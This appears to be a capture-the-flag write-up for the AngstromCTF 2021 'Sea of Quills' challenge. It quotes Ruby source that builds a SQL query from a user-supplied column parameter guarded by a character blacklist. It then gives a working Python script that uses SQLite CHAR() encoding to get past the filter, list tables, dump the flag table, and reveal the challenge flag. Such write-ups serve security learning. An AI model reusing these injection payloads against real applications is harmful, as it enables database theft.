Rating:

# AngstromCTF2021 Sea of Quills
Looking at the sourcecode we notice the lines:
```
blacklist = ["-", "/", ";", "'", "\""]

blacklist.each { |word|
if cols.include? word
return "beep boop sqli detected!"
end
}

if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
return "bad, no quills for you!"
end

@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
```

We immediately see that the parameter `cols` is injectable. We do however need to take care that our query dosen't use any of the blacklisted characters. Fortunatly the SQLite dbms has a function called `CHAR` that takes integers as arguments and convert them to their ascii representation.

We can now code up our payload:
```
import requests

url = "https://seaofquills.2021.chall.actf.co/quills"

# Find table names
# We can use the CHAR method to insert strings and circumvent the filter
# CHAR(0x74,0x61,0x62,0x6c,0x65) outputs 'table'
payload = {
"limit":"5",
"offset":"1",
"cols":"name,name,name FROM sqlite_master WHERE type=CHAR(0x74,0x61,0x62,0x6c,0x65) UNION select desc,url,name"
}

r = requests.post(url,params=payload)
print(r.text)
# This returns the tablename `flagtable`

# Use tablename to extract flag
payload = {
"limit":"5",
"offset":"1",
"cols":"* FROM flagtable UNION select desc"
}

r = requests.post(url,params=payload)
print(r.text)
```
Running the solution we find the flag: `actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}`

Original writeup (https://github.com/emil-muller/CTFs/blob/main/angstromctf2021/Sea_of_Quills/writeup.md).